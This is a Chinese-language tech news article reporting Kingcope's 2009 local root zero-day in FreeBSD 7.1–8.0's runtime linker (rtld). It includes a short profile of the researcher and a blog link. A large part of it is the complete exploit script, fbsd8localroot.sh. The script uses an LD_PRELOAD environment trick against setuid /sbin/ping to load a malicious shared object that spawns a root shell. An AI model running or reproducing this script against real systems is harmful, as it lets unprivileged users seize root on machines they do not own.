FreeBSD爆嚴(yán)重安全漏洞 安全專家稱疑是圣誕前的禮物
在圣誕節(jié)即將到來的日子,以安全著稱的FreeBSD系統(tǒng)被著名黑客Kingcope爆了一個(gè)零日(0day)漏洞。據(jù)Kingcope所說,他長期致力于挖掘FreeBSD系統(tǒng)的本地提權(quán)漏洞,終于有幸在近期發(fā)現(xiàn)了這個(gè)非常低級(jí)的本地提權(quán)漏洞;這個(gè)漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中,普通用戶可以通過該漏洞非常輕易的獲得root權(quán)限。該漏洞影響非常廣泛,包括FreeBSD 7.1至8.0的32及64位系統(tǒng)。
在展示該漏洞威力之前,我們科普一下著名黑客kingcope。從2007年6月至今,他一共公開了12個(gè)安全漏洞(沒公開的不知道有多少),其中 FreeBSD和Sun Solaris各兩個(gè),微軟四個(gè),Oracle、mysql、NcFTPD和nginx各一個(gè),同時(shí)他還編寫了多個(gè)漏洞的攻擊代碼,例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。
接下來我們在最新的FreeBSD 8.0中重現(xiàn)一下該漏洞的攻擊過程,請(qǐng)注意圖中的紅色部分;我們只要執(zhí)行名為fbsd8localroot.sh的腳本,就可以輕易的獲得root權(quán)限。
相關(guān)腳本如下:
#!/bin/sh
echo “FreeBSD local r00t zeroday by Kingcope on November 2009″
cat > env.c << _EOF
#include
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], “LD_PRELOAD=/tmp/w00t.so.1.0″);
execl(”/sbin/ping”, “ping”, 0);
}
_EOF
gcc env.c -o env > /dev/null 2>&1
#download from baoz.net
cat > program.c << _EOF
#include
#include
#include
#include
void _init() {
extern char **environ;
environ=NULL;
system(”echo ALEX-ALEX;/bin/sh”);
}
_EOF
gcc -o program.o -c program.c -fPIC ; gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles ; cp w00t.so.1.0 /tmp/w00t.so.1.0 ;./env
FreeBSD尚未就該0day漏洞發(fā)布安全公告及官方補(bǔ)丁,敬請(qǐng)關(guān)注素包子的博客http://baoz.net/freebsd8-localroot-0day/以獲取該漏洞的最新情況。
【編輯推薦】